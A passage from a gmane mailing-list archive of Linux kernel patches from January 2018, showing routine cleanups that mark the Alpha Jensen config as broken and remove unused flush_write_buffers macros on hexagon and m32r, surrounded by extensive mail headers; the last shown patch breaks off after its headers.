 linux-metag@vger.kernel.org, linux-arm-kernel@lists.infradead.org,
 Michal Simek <monstr@monstr.eu>, linux-parisc@vger.kernel.org,
 linux-cris-kernel@axis.com, linux-kernel@vger.kernel.org,
 linux-alpha@vger.kernel.org, linuxppc-dev@lists.ozlabs.org
To: iommu@lists.linux-foundation.org
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Fri Jan 12 09:40:43 2018
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([65.50.211.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1eZutF-0006qF-Gz
	for gla-linux-snps-arc@m.gmane.org; Fri, 12 Jan 2018 09:40:41 +0100
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:MIME-Version:Cc:List-Subscribe:
	List-Help:List-Post:List-Archive:List-Unsubscribe:List-Id:References:
	In-Reply-To:Message-Id:Date:Subject:To:From:Reply-To:Content-ID:
	Content-Description:Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc
	:Resent-Message-ID:List-Owner;
	bh=fc+yufmsekcunyWNZ4Si3kNXZUA9/EcLDknX/xtVMxA=; b=o3gWIkbwwLEX+NKNzTiu8H8ZMS
	/OIUE5qwprjnU6OCP2Apc/d6fOAXmhJb+cF6say8o7n2GPlFmLXm9NRo82v383+eCxCPtnnZax/B9
	K3Hf/bl1N8T0TqB2BP1OlMk2P9O3X2EL7TcMA4r2tcjMqcu5ED7Xft/wC66c3GzuVOPT7aJ35youz
	MimaNmkP37OYreJeaDcsh5GdNcnI4nxjeaw7vchGC9qvWJNNkD/dTYrUqlxNiu2R3dZLAARkW+W8N
	DZRFRHW+5oylPtmOIyHMpINMK746Yx2hM2YhXp0I8TZ652N2TQzPUD4wNFMxMtE8nDj5lKBCPWn2v
	nMUKfOEg==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.89 #1 (Red Hat Linux))
	id 1eZuvC-00074b-NQ; Fri, 12 Jan 2018 08:42:42 +0000
Original-Received: from [188.21.167.3] (helo=localhost)
 by bombadil.infradead.org with esmtpsa (Exim 4.89 #1 (Red Hat Linux))
 id 1eZuv8-00073r-Jm; Fri, 12 Jan 2018 08:42:39 +0000
X-Mailer: git-send-email 2.14.2
In-Reply-To: <20180112084232.2857-1-hch@lst.de>
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:3336 gmane.linux.kernel.iommu:22143 gmane.linux.ports.mips.general:63284 gmane.linux.ports.ia64:28587 gmane.linux.ports.sh.devel:56288 gmane.linux.ports.sparc:27237 gmane.linux.kernel.cross-arch:41445 gmane.linux.ports.hexagon:1552 gmane.linux.kernel.metag:1629 gmane.linux.ports.arm.kernel:625642 gmane.linux.ports.parisc:28229 gmane.linux.kernel:2665075 gmane.linux.ports.alpha:4726 gmane.linux.ports.ppc64.devel:152011
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/3336>

CONFIG_ALPHA_JENSEN has failed to compile since commit 6aca0503
("alpha/dma: use common noop dma ops"), so mark it as broken.

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 arch/alpha/Kconfig | 1 +
 1 file changed, 1 insertion(+)

diff --git a/arch/alpha/Kconfig b/arch/alpha/Kconfig
index b31b974a03cb..e96adcbcab41 100644
--- a/arch/alpha/Kconfig
+++ b/arch/alpha/Kconfig
@@ -209,6 +209,7 @@ config ALPHA_EIGER
 
 config ALPHA_JENSEN
 	bool "Jensen"
+	depends on BROKEN
 	help
 	  DEC PC 150 AXP (aka Jensen): This is a very old Digital system - one
 	  of the first-generation Alpha systems. A number of these systems
-- 
2.14.2

From - Thu Nov 08 21:40:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
Newsgroups: gmane.linux.kernel.iommu,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.ports.hexagon,gmane.linux.kernel.arc,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: [PATCH 02/34] hexagon: remove unused flush_write_buffers definition
Date: Fri, 12 Jan 2018 09:42:00 +0100
Lines: 21
Approved: news@gmane.org
Message-ID: <20180112084232.2857-3-hch@lst.de>
References: <20180112084232.2857-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1515746459 31216 195.159.176.226 (12 Jan 2018 08:40:59 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 12 Jan 2018 08:40:59 +0000 (UTC)
Cc: linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org, linux-ia64-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	Guan Xuetao <gxt-TG0Ac1+ktVePQbnJrJN+5g@public.gmane.org>, linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org,
	linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, x86-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org,
	Konrad Rzeszutek Wilk <konrad-Gq0aWv8utHQdnm+yROfE0A@public.gmane.org>,
	linux-snps-arc-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
	linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org, patches-q3qR2WxjNRFS9aJRtSZj7A@public.gmane.org,
	linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
	Michal Simek <monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org>, linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-cris-kernel-VrBV9hrLPhE@public.gmane.org, linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linuxppc-dev-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org
To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Original-X-From: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org Fri Jan 12 09:40:53 2018
Return-path: <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
Envelope-to: glki-iommu@m.gmane.org
Original-Received: from mail.linuxfoundation.org ([140.211.169.12])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>)
	id 1eZutK-0007Jo-FL
	for glki-iommu@m.gmane.org; Fri, 12 Jan 2018 09:40:46 +0100
Original-Received: from mail.linux-foundation.org (localhost [127.0.0.1])
	by mail.linuxfoundation.org (Postfix) with ESMTP id 63617100F;
	Fri, 12 Jan 2018 08:42:45 +0000 (UTC)
X-Original-To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Delivered-To: iommu-i9wRM+HIrmnmtl4Z8vJ8Kg761KYD1DLY@public.gmane.org
Original-Received: from smtp1.linuxfoundation.org (smtp1.linux-foundation.org
	[172.17.192.35])
	by mail.linuxfoundation.org (Postfix) with ESMTPS id 1B13E1017
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Fri, 12 Jan 2018 08:42:43 +0000 (UTC)
X-Greylist: from auto-whitelisted by SQLgrey-1.7.6
Original-Received: from bombadil.infradead.org (bombadil.infradead.org [65.50.211.133])
	by smtp1.linuxfoundation.org (Postfix) with ESMTPS id BEDC312E
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Fri, 12 Jan 2018 08:42:42 +0000 (UTC)
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=bombadil.20170209;
	h=References:In-Reply-To:Message-Id:
	Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
	Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
	Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
	List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
	bh=0JuEE1unvevJ5PXqHKEqQaNX4Nl1WkCrydQ4fDGvEz4=;
	b=hZHSLjMvsigCBXJ47mmr9diLZ
	Z84MoJwcuwapBgWTtutrU9+MaqhlFtUT0sJhLGEo1jZ1qbdSPUubodyVwkf1VvEnJveiRhO3NomAX
	izyvRctoRboXqzn/WdqtFrg31w4V1BKWN9Z34GVuuMIgTGT/DxWYg4fjvXJ8XXSR/J8I0UQ9HTUOE
	M8WIbDNfavWjfO2eFeWiVvJGn3zq4emUb/2JY5uctAvxf4ww2/PceApJ5Mdg1fcSpZAHsqTfeqdjM
	Uq3LpF/J5ao4aVD+SriWbJXFdvgbhvxMbT+T/mWnksl0BGxN/KwSLQqbFEnPjJlqVH8xX380C1S52
	sNYAZCdRw==;
Original-Received: from [188.21.167.3] (helo=localhost)
	by bombadil.infradead.org with esmtpsa (Exim 4.89 #1 (Red Hat Linux))
	id 1eZuvB-00073z-FK; Fri, 12 Jan 2018 08:42:41 +0000
X-Mailer: git-send-email 2.14.2
In-Reply-To: <20180112084232.2857-1-hch-jcswGhMUV9g@public.gmane.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch-wEGCiKHe2LqWVfeAwA7xHQ@public.gmane.org> by
	bombadil.infradead.org. See http://www.infradead.org/rpr.html
X-BeenThere: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: Development issues for Linux IOMMU support
	<iommu.lists.linux-foundation.org>
List-Unsubscribe: <https://lists.linuxfoundation.org/mailman/options/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.linuxfoundation.org/pipermail/iommu/>
List-Post: <mailto:iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
List-Help: <mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=help>
List-Subscribe: <https://lists.linuxfoundation.org/mailman/listinfo/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=subscribe>
Original-Sender: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Errors-To: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.iommu:22144 gmane.linux.ports.mips.general:63285 gmane.linux.ports.ia64:28588 gmane.linux.ports.sh.devel:56289 gmane.linux.ports.sparc:27238 gmane.linux.kernel.cross-arch:41446 gmane.linux.ports.hexagon:1553 gmane.linux.kernel.arc:3337 gmane.linux.kernel.metag:1630 gmane.linux.ports.arm.kernel:625643 gmane.linux.ports.parisc:28230 gmane.linux.kernel:2665076 gmane.linux.ports.alpha:4727 gmane.linux.ports.ppc64.devel:152012
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.iommu/22144>

Signed-off-by: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
---
 arch/hexagon/include/asm/io.h | 2 --
 1 file changed, 2 deletions(-)

diff --git a/arch/hexagon/include/asm/io.h b/arch/hexagon/include/asm/io.h
index 66f5e9a61efc..9e8621d94ee9 100644
--- a/arch/hexagon/include/asm/io.h
+++ b/arch/hexagon/include/asm/io.h
@@ -330,8 +330,6 @@ static inline void outsl(unsigned long port, const void *buffer, int count)
 	}
 }
 
-#define flush_write_buffers() do { } while (0)
-
 #endif /* __KERNEL__ */
 
 #endif
-- 
2.14.2


From - Thu Nov 08 21:40:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
Newsgroups: gmane.linux.kernel.metag,gmane.linux.kernel.iommu,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.kernel
Subject: [PATCH 03/34] m32r: remove unused flush_write_buffers definition
Date: Fri, 12 Jan 2018 09:42:01 +0100
Lines: 21
Approved: news@gmane.org
Message-ID: <20180112084232.2857-4-hch@lst.de>
References: <20180112084232.2857-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1515746461 31631 195.159.176.226 (12 Jan 2018 08:41:01 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 12 Jan 2018 08:41:01 +0000 (UTC)
Cc: Konrad Rzeszutek Wilk <konrad-Gq0aWv8utHQdnm+yROfE0A@public.gmane.org>,
        linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-snps-arc-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
        linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org, linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org,
        linux-cris-kernel-VrBV9hrLPhE@public.gmane.org, linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
        linux-ia64-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org,
        linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, Michal Simek <monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org>,
        linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org, linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
        linuxppc-dev-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org, patches-q3qR2WxjNRFS9aJRtSZj7A@public.gmane.org,
        linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
        sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, Guan Xuetao <gxt-TG0Ac1+ktVePQbnJrJN+5g@public.gmane.org>,
        x86-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org, linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
        linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Original-X-From: linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org Fri Jan 12 09:40:55 2018
Return-path: <linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Envelope-to: glkm-linux-metag@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>)
	id 1eZutS-0007NT-1g
	for glkm-linux-metag@m.gmane.org; Fri, 12 Jan 2018 09:40:54 +0100
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org via listexpand
        id S1754684AbeALImy (ORCPT <rfc822;glkm-linux-metag@m.gmane.org>);
        Fri, 12 Jan 2018 03:42:54 -0500
Original-Received: from bombadil.infradead.org ([65.50.211.133]:44089 "EHLO
        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1754304AbeALImt (ORCPT
        <rfc822;linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>);
        Fri, 12 Jan 2018 03:42:49 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
        d=infradead.org; s=bombadil.20170209; h=References:In-Reply-To:Message-Id:
        Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
        Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
        Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
        List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
         bh=S/GH44cRGA0qPZti+sTqqqVKSE2/SlUTJm6LzCR7sTw=; b=W1/lECL7R5lo9HdLZeatJinP+
        wgT3hKDtIsfq9gqF1vb4UJzW7pEQr8BDKJJJBnBmBWTMVeeTfRDvYJ1UbbbSEqdwrbf7pkQ79pSuA
        Ik6w2EgzPLUsYrawrGpN3o4NmKzkmaKRHRfTp7NRMvEATc/n4tlFcCSXD7mBCWPYkywUG+rW6GcJD
        2SBaKMmc71CrTl7FrDptm1XauK3ZQiplQvl2VNckH9ob6QGdAIh3qgiyBwbrxf1Wdosx8jtCMUs55
        YnihDbfujfyirth/zPr9kaQhvudpX1VsdR3yj067UigRqMVzemz9JeTf/dWq7g6rL+pbZwEpw9UK3
    
Original-Received: from [188.21.167.3] (helo=localhost)
        by bombadil.infradead.org with esmtpsa (Exim 4.89 #1 (Red Hat Linux))
        id 1eZuvE-00074c-Hn; Fri, 12 Jan 2018 08:42:45 +0000
X-Mailer: git-send-email 2.14.2
In-Reply-To: <20180112084232.2857-1-hch-jcswGhMUV9g@public.gmane.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch-wEGCiKHe2LqWVfeAwA7xHQ@public.gmane.org> by bombadil.infradead.org. See http://www.infradead.org/rpr.html
Original-Sender: linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Precedence: bulk
List-ID: <linux-metag.vger.kernel.org>
X-Mailing-List: linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.metag:1631 gmane.linux.kernel.iommu:22145 gmane.linux.ports.alpha:4728 gmane.linux.kernel.arc:3338 gmane.linux.ports.arm.kernel:625644 gmane.linux.ports.hexagon:1554 gmane.linux.ports.ia64:28589 gmane.linux.ports.mips.general:63286 gmane.linux.ports.parisc:28231 gmane.linux.ports.ppc64.devel:152013 gmane.linux.ports.sh.devel:56290 gmane.linux.ports.sparc:27239 gmane.linux.kernel.cross-arch:41447 gmane.linux.kernel:2665077
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.metag/1631>

Signed-off-by: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
---
 arch/m32r/include/asm/io.h | 2 --
 1 file changed, 2 deletions(-)

diff --git a/arch/m32r/include/asm/io.h b/arch/m32r/include/asm/io.h
index 1b653bb16f9a..a4272d8f0d9c 100644
--- a/arch/m32r/include/asm/io.h
+++ b/arch/m32r/include/asm/io.h
@@ -191,8 +191,6 @@ static inline void _writel(unsigned long l, unsigned long addr)
 
 #define mmiowb()
 
-#define flush_write_buffers() do { } while (0)  /* M32R_FIXME */
-
 static inline void
 memset_io(volatile void __iomem *addr, unsigned char val, int count)
 {
-- 
2.14.2


From - Thu Nov 08 21:40:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
Newsgroups: gmane.linux.kernel.iommu,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.ports.hexagon,gmane.linux.kernel.arc,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: [PATCH 04/34] powerpc: remove unused flush_write_buffers definition
Date: Fri, 12 Jan 2018 09:42:02 +0100
Lines: 22
Approved: news@gmane.org
Message-ID: <20180112084232.2857-5-hch@lst.de>
References: <20180112084232.2857-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1515746463 32041 195.159.176.226 (12 Jan 2018 08:41:03 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 12 Jan 2018 08:41:03 +0000 (UTC)
Cc: linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org, linux-ia64-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	Guan Xuetao <gxt-TG0Ac1+ktVePQbnJrJN+5g@public.gmane.org>, linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org,
	linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, x86-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org,
	Konrad Rzeszutek Wilk <konrad-Gq0aWv8utHQdnm+yROfE0A@public.gmane.org>,
	linux-snps-arc-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
	linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org, patches-q3qR2WxjNRFS9aJRtSZj7A@public.gmane.org,
	linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
	Michal Simek <monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org>, linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-cris-kernel-VrBV9hrLPhE@public.gmane.org, linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linuxppc-dev-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org
To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Original-X-From: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org Fri Jan 12 09:40:57 2018
Return-path: <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
Envelope-to: glki-iommu@m.gmane.org
Original-Received: from mail.linuxfoundation.org ([140.211.169.12])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>)
	id 1eZutU-0007vq-7f
	for glki-iommu@m.gmane.org; Fri, 12 Jan 2018 09:40:56 +0100
Original-Received: from mail.linux-foundation.org (localhost [127.0.0.1])
	by mail.linuxfoundation.org (Postfix) with ESMTP id D116F102F;
	Fri, 12 Jan 2018 08:42:52 +0000 (UTC)
X-Original-To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Delivered-To: iommu-i9wRM+HIrmnmtl4Z8vJ8Kg761KYD1DLY@public.gmane.org
Original-Received: from smtp1.linuxfoundation.org (smtp1.linux-foundation.org
	[172.17.192.35])
	by mail.linuxfoundation.org (Postfix) with ESMTPS id 9B10A1029
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Fri, 12 Jan 2018 08:42:51 +0000 (UTC)
X-Greylist: from auto-whitelisted by SQLgrey-1.7.6
Original-Received: from bombadil.infradead.org (bombadil.infradead.org [65.50.211.133])
	by smtp1.linuxfoundation.org (Postfix) with ESMTPS id 5EE05124
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Fri, 12 Jan 2018 08:42:51 +0000 (UTC)
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=bombadil.20170209;
	h=References:In-Reply-To:Message-Id:
	Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
	Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
	Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
	List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
	bh=lioZeBjyjc+4CAz8dtiEETXglDGPc45H4sAX28X9kuQ=;
	b=XJ78cOakk2xZzntizcQJcNsyu
	Pgzv3sf5o12L4+HVSTCvOMq6kkIuKGbjPFqULhe8fVKO7Tq3YsVnYRd4v6l+jVC5D7tZo3McVW/j6
	K7rayrbKCjMBwqctsK2LwlHM7m2mKakEAhF30TooqhumdUXavAaPa1W4Ju5f0DAptiFKujbg493Yi
	PPvCyzfDFZ1KMgST61lm1YA5/1b/yvdu4y5dGoNvPbgOgbyMxTLuGbj/MnmPL1ftXxCIVMZEVCh2O
	/2GaYwCE8Q9NYa66z9YNi2Qv1XfToyZijAvIh740EEUL4fwqzEMxjG2FxX6DQAhGoQQZPIj3bgRhb
	JQiXRbdNA==;
Original-Received: from [188.21.167.3] (helo=localhost)
	by bombadil.infradead.org with esmtpsa (Exim 4.89 #1 (Red Hat Linux))
	id 1eZuvI-000777-4O; Fri, 12 Jan 2018 08:42:48 +0000
X-Mailer: git-send-email 2.14.2
In-Reply-To: <20180112084232.2857-1-hch-jcswGhMUV9g@public.gmane.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch-wEGCiKHe2LqWVfeAwA7xHQ@public.gmane.org> by
	bombadil.infradead.org. See http://www.infradead.org/rpr.html
X-BeenThere: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: Development issues for Linux IOMMU support
	<iommu.lists.linux-foundation.org>
List-Unsubscribe: <https://lists.linuxfoundation.org/mailman/options/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.linuxfoundation.org/pipermail/iommu/>
List-Post: <mailto:iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
List-Help: <mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=help>
List-Subscribe: <https://lists.linuxfoundation.org/mailman/listinfo/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=subscribe>
Original-Sender: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Errors-To: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
